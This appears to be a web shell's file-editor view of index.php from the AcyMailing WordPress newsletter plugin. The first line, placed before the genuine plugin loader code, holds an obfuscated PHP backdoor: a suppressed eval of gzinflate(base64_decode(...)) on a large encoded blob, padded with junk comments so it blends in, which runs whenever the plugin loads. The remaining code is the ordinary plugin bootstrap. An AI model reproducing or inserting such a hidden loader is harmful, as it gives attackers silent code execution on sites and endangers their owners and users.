JezK
Edit File: index.php
<?php /*tJ}^f5?#ybK4"kBl;B*/@ EvAL(/*QI 3.kcBJJPkJ*/'?>'.GZiNfLaTe(baSE64_deCODe('FVbFzu0Ic3yVkHIn10rMpD+aiZnZPoYsRmZmPH76fGm1elmLUlV1/fdfS7P8E/j7X71/V/7F/J8//zm2odp6f4PChxn+AH/HN/q/2b8tShD7UqP//TfwG/z115+//qtOlEnUU7/8Yz9cV7j+YFNPILC/izKfC+GPX0wFviBKceBFglcHymAMoeunIL0LjAiwnsCIrmBQpiqi13pBxFmhF2ZBxHqhll6qY65TnJm8B+ieW52lsr/8oQrIuaeYAQBKogJuexUAdWtEQgQgr4xCgHAzWg8Dcd2OaHhf0qdeynEyogQq5Xs7qUi4s3cyzubIgKjNpm5a+nbj3rcjaeVc1jKezeMT8O+0f3SIhPudgqJaGoAY/BAhPsXU9hQY8xAjD622GgtkB211VA19TuHOh1gKOLzTNDKZhfJbrSo/oTyzYfc+eHnBPGmvdvSQfZbfBdu3e4DWZSHCRRzlp+lT6qGcafJ+KyEWMk1FkmWuYbqb7Tltjrgs+NIqEGIF1GrNRVfzplpfxDIshqrPP42aaxqhFVwJrKCsb4tF3zFb68kLPMolvlSk0uwK5jBWEqDXBd/gbQ5UW4e8PzkD27q8tZ5qx6Cr4eIJbwfVggfxhJUnfwU+OUTVaQlTikttZLLsLuJRAh2nN2YuxvRGrQXEOojwW5ZfIWF5La77Od0TDs+7wcQLd+shMIL6WrQWl+wGT0CAdenxSoziYTzubg7OG0CJ3TDf1Bf0NQyk10WMGlxx0Bc/+8T4rtUXqkd4W7yQo4Fjk1J7ewLemqXMkzDceTB+ukpGdpCSvuXk8RyNmsfNjmSAGK+sBAg8sNML0PYjAeobp5E816PnUZSykxhlSJx0xBd/FOGXRey1Ral8vM0SHpL5ij8W+a1QcPw+bkEy6Pom0sIDxO5oMKIrNCWQP/L1uCEzxAAOGEVf3vMUn+1od1GJsVhkBF85p+kS4RiEkfjFNJ6q4GHau0ADb/8O/dR+8+4BCSnB91DwBQ5DS41Xng+EnES6b/JNrDC9VY1OomJQngrI2hlyHnxKT652foowuvmSAHQ6R0vAUtbpAVjPFQEhkO7cAeQ04XqViZkFy+tSnEsIx7MNeX+cfVOMLh3IV3Pt85Vfn/565mbHJl+j85vqOvq5ElsCDvXQ6jKO9xGRoShwra4RHhbe8bi/W0SljioLnJdw6SCseUgAIumS3yrNAgm/j22L2Xxr5G7zZrAjNIHFg+k8ZTHqSk2zcU4eF1tVpocBWIRIdILk7nj4xhYG1dwAqo8QPV31IRs0un7kOOCCawIETHYttDww51s9bvq5JRIYSJKmb7jFDVvLUyYjUtwbqbB12QkdYwiurzWclfnRCgaL6B5RCsE9HoWGUSo+6S1yBqUD3tnbRz9MW5ogzSx8yExYIMeju4CmA1Vfg0l29s7J6DNi4DRrNQ6NU2xvIt/UR89sW30V9sHo8cWFMGcYg9VAjOvTOpe2wrFvZRPnPs0n/G2zHFWY/CglzUmVT7sn90pnjhXNpqlUVLeHZ4l6dKdokZ6FiYuSsRi5pJ3yMgSBwfY6ebvSNLDdUdkckpF0PBYnJxtk9QuIzHa8kMS+evhh9yaHusDPgTWQgJPWlLLGhJX8UO5O2UnU0kmk9In9kl04h0kcItDyVTKJND3mTdJVZXOM11uRDTGWpbX/BxYtPwXzqmN5HqGUmu7jRT0EMkrB8Hwf3ShdZBDqOO8+UndAfYstmzdGjwPUDowlt3huVQRJQJ638vaZYxrTVTF1WvLYYxdlspppvi40ZrCEy5zYr1cKRbZ0zUG4XtPU8JyJ1PlWacRAybQBQC6QGicvZeGdBFe+xp3xvYLOJ8lDFrd1b/bikYZIAMg6YsIz9JihFZZz/ibgXK5MXi4vmu/ee0qQ4cuhfsdGp93X+WOl5zxCHjAvoxlvwGkvuOyPqY/tvhSOKSM0UgqgnmiiRbRxSA9qZweetAQlQUdW89sBktOcqKXtiosLtnbr3dhJay4ZTMApYEyj17cYDKZ2GjpGCiYVQzaXK9hD360LHwi75cmAwhXHSF6XhMOmDvfNXOfkYU7gIx6bdRmIF5ZLSl9UWodgpSNVfFXcUCctBXbrcUq7ur0u6whHRnJEtNi3cTo2CMk38WuVaGwMqmkLDGyK9GlL7sWnPhhUNh6D+UmoQ4WOD9LZGcPJawOKzhUpJaXWGIgcLCEj9Wgj+VIqQzw/XSbmdg2H8OxYKBsWH7UmlLShTNb6yBODOfRV0ztktNituRaEBu39qrAtjpoKEJ8d+SZZ76YXO36+O0w6A6l9nefG72aXRok9fr5qXQNdSom21UPHiElJb9WHwV3D3OS1JSUz9Ygmqcbaqwdth2s3tUkUb44b4WH142EObnEftzKU79dxo31Db0u6Szs4KeVVeaxUNJ/TPD+kYV9Jk1nYqjDOBCgLNoFvrciK3cBDysHtW8kzUt60zGJKJOuycoYFzBK1n5EnG/6rk1NWPNmIcbSF7gIpqHqQsxPMESWZXc1K25mj1suG1xlZFhFHQSYBI9W4tualJYKGf3zLpH4+iBLAitI7FFgQlWYYI9NfX75IY9OSyLBBD2IdGywc7KX35dtdd/5G1QWsMllLN1kOu3v6tDQYj58pQPfxscwDik4jZsO9si2oikYjEAmmdMzslLN9Iy30Q7pQ1wzD0JdE4OXeVoBVlGHQax/4i72zHGqAaXtlbXV2WrCpON055oW8YGFJ7XwUirjKvPqMsJU8AmqUTvEomMBY5wng3XBZhrKQF5vo8rVlJX/p8KA/H3hSRiPPpuwnu88sINTh9sM1vnYedX/oUOFARiMpKZzi/GJwVNtp3p0zXU4l1yEKJLhj/qR6WwpPKvpRoCnkwn1JIh4BRlui8mZiCmYXwQ3H8Kosn8/V2PKl6KNyPzR3EofGzkI+oPhlSCs8gR9AWW++vmZA+amGWf+5JZNbjKT2nyVIKqL6UBdWeK+gwXr6iXnzvUYYYaWkU4suzNLGn6Hr5LMb8xmd86Nvj6/5sl9Fn+JNKlxUVcPFS1SzwC+B5PwETwgf4zyRuXklrtG61jThDH0KEn9HlOt1+7Wk0qU0ByA2Pn1Q6/ttdwRTL0IQzE+STCk86jyMA8+G9kQO1+RpxtSCbUuOSsUuXlqlzVEWvTJ+Io8v1VGiGYsLph1GLljahmkBticN1zHWkZUbbc+1WE4PF/aMfzLkyRqN+3pcEfKWpCJMyUstbXFMzqUY2LRRyHucR089x/HT5JI1GT2nHLZ5b6WgFJ9k1fHzTvyU52teb3Tmm1QeTTyQ1f2xffjGsIUHbRx8zDsaKpKpl8c0wJbuD5ZPoqcAZaACfg5bLe2mg30GXkBy3ULy+SlC4NJjOwcyJNgczwV15ayCsg0CNl6BEcVXQHmWYAT2AbGxrMIcYLHdSJjj3zoB+SH6WW6nXoTL5zutToJtmvaA3JOzUCvBY/PXf/zMP8DfM859/uHDbfmfBvLL06bf4F9//h8=')));/*p x/C:}:fA%S F+r7*/?> <?php /** * Plugin Name: AcyMailing * Description: Manage your contact lists and send newsletters from your site. * Author: AcyMailing Newsletter Team * Author URI: https://www.acymailing.com * License: GPLv3 * Version: 11.0.5 * Text Domain: acymailing * Requires at least: 5.8 * Requires PHP: 7.4 */ use AcyMailing\WpInit\Activation; use AcyMailing\WpInit\Addons; use AcyMailing\WpInit\Beaver; use AcyMailing\WpInit\Cron; use AcyMailing\WpInit\Data; use AcyMailing\WpInit\Deactivate; use AcyMailing\WpInit\Elementor; use AcyMailing\WpInit\Forms; use AcyMailing\WpInit\Gutenberg; use AcyMailing\WpInit\Menu; use AcyMailing\WpInit\Message; use AcyMailing\WpInit\Oauth; use AcyMailing\WpInit\OverrideEmail; use AcyMailing\WpInit\Router; use AcyMailing\WpInit\Security; use AcyMailing\WpInit\UserSync; use AcyMailing\WpInit\WpRocket; defined('ABSPATH') || die('Restricted Access'); class acymailingLoader { public function __construct() { // Install Acy DB and sample data on first activation (not on installation because of FTP install) register_activation_hook(__DIR__.'/'.basename(__FILE__), [$this, 'activation']); add_action('wp_initialize_site', [$this, 'subsiteCreation'], 101); // Prevent bad plugins from loading on AcyMailing pages add_action('plugins_loaded', [$this, 'protectAcyMailingPages'], 5); // Init widgets. According to the WP doc widgets_init should be loaded after init, but it isn't add_action('widgets_init', [$this, 'initWidgets']); // Init AcyMailing add_action('init', [$this, 'initAcyMailing'], 0); add_filter('wpml_show_admin_language_switcher', [$this, 'disableWpml']); } public function subsiteCreation(): void { if (is_plugin_active_for_network(basename(__DIR__).'/'.basename(__FILE__))) { $this->activation(); } } public function activation(): void { // Load Acy library $helperFile = __DIR__.DIRECTORY_SEPARATOR.'back'.DIRECTORY_SEPARATOR.'Core'.DIRECTORY_SEPARATOR.'init.php'; if (file_exists($helperFile) && include_once $helperFile) { $activation = new Activation(); $activation->install(); } } public function protectAcyMailingPages() { if (!$this->isCurrentlyOnAcyPage()) { return; } // Prevent plugins from breaking AcyMailing pages (mainly JS scripts loaded without the WP way) remove_action('plugins_loaded', 'mailchimp_on_all_plugins_loaded', 12); remove_action('plugins_loaded', '_imagify_init'); remove_action('plugins_loaded', 'plugins_loaded_wps_hide_login_plugin'); remove_action('plugins_loaded', ['WPAS_Gas', 'get_instance'], 11); remove_action('plugins_loaded', 'woosb_init', 12); } public function disableWpml(): bool { if (!$this->isCurrentlyOnAcyPage() || !$this->loadAcyMailingLibrary()) { return true; } $config = acym_config(); return intval($config->get('multilingual')) !== 1; } public function initWidgets() { $ds = DIRECTORY_SEPARATOR; include_once __DIR__.$ds.'widgets'.$ds.'archive'.$ds.'widget.php'; include_once __DIR__.$ds.'widgets'.$ds.'profile'.$ds.'widget.php'; include_once __DIR__.$ds.'widgets'.$ds.'subscriptionform'.$ds.'widget.php'; register_widget('acym_archive_widget'); register_widget('acym_profile_widget'); register_widget('acym_subscriptionform_widget'); } private function loadAcyMailingLibrary() { $helperFile = __DIR__.DIRECTORY_SEPARATOR.'back'.DIRECTORY_SEPARATOR.'Core'.DIRECTORY_SEPARATOR.'init.php'; return file_exists($helperFile) && include_once $helperFile; } public function initAcyMailing() { if (!$this->loadAcyMailingLibrary()) { return; } $router = new Router(); new Menu($router); new UserSync(); new Message(); new Elementor(); new Beaver(); new WpRocket(); new Addons(); new Forms(); new OverrideEmail(); new Cron(); new Gutenberg(); new Security(); new Deactivate(); new Oauth(); new Data(); } private function isCurrentlyOnAcyPage(): bool { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Make sure we're on an AcyMailing page. $page = isset($_REQUEST['page']) ? sanitize_text_field(wp_unslash($_REQUEST['page'])) : ''; return !empty($page) && strpos($page, 'acymailing_') !== false; } } new acymailingLoader();